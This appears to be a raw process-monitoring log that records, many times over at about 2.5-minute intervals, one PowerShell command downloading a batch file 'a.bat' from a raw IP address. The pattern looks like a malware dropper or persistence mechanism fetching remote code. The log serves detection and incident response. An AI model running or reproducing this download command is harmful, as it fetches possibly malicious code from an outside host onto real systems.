C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:52:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:54:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:57:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:59:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:02:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:05:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:07:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:10:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:12:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:15:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:17:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:20:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:22:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:25:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:27:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:30:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:32:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:35:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:37:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:40:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:42:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:45:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:47:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:50:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:53:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:55:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 06:58:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:00:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:03:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:05:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:08:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:10:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:15:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:18:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:20:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:28:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:30:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:33:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:36:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:38:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:41:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:43:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:46:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:48:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:51:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:53:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:56:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 07:58:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:01:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:03:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:06:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:08:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:11:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:13:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:16:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:19:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:21:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:24:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:26:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:29:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:31:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:34:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:36:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:39:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:44:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:49:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:51:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:54:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:56:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 08:59:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:02:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:04:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:07:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:09:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:12:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:14:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:17:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:19:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:22:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:24:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:27:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:29:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:32:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:34:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:37:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:39:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:42:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:45:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:47:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:50:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:52:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:55:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 09:57:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:00:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:02:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:05:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:07:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:10:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:12:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:15:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:17:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:20:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:22:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:25:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:28:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:30:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:33:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:35:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:38:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:40:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:43:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:45:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:48:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:50:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:53:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:55:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 10:58:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:00:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:05:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:08:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:11:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:13:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:16:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:18:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:21:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:23:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:26:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:28:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 11:31:16 NOTIFY: PROCESS 